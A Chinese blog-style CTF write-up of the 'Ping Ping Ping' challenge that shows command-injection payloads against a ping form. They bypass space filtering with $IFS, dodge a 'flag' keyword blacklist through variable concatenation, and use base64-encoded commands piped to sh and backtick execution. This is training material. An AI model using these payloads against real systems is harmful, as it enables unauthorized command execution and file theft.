2021-08-23

第二天——Ping Ping Ping

在这里插入图片描述熟悉的ping,先尝试随便写一个命令

payload=1;ls

在这里插入图片描述所以是有的,直接cat flag.php试一下
在这里插入图片描述空格过滤,尝试几种常见的绕过:

cat flag.txt

cat${IFS}flag.txt

cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt

第三个才可以,但又会显示
在这里插入图片描述

其余几个显示
在这里插入图片描述

所以还有其余过滤,可以先看一下index.php
在这里插入图片描述
发现有其余过滤,符号过滤了一大堆,还有flag的贪心匹配的黑名单;
首先想到通配符,发现*也被过滤了,那就用变量拼接,只要flag不按顺序出现就可以了。

payload=?ip=1||a=fl;b=g;c=a;d=.;e=p;f=h;r=$a$c$b$d$e$f$e;cat$IFS$9$r

在这里插入图片描述迷惑两秒钟,应该要出现flag的呀,后来发现自己傻了,既然是php文件,很可能是被注释掉了的,直接看页面看不到,要看源码。果然
在这里插入图片描述后来看网上的writeup还有一种绕过方式,是加密

payload=?ip=1;echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

echo$IFS$1Y2F0IGZsYWcucGhw是cat flag.php的base64
或者

payload=?ip=1;cat$IFS$9`ls`

这种时内联执行,将反引号内命令的输出作为输入执行

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值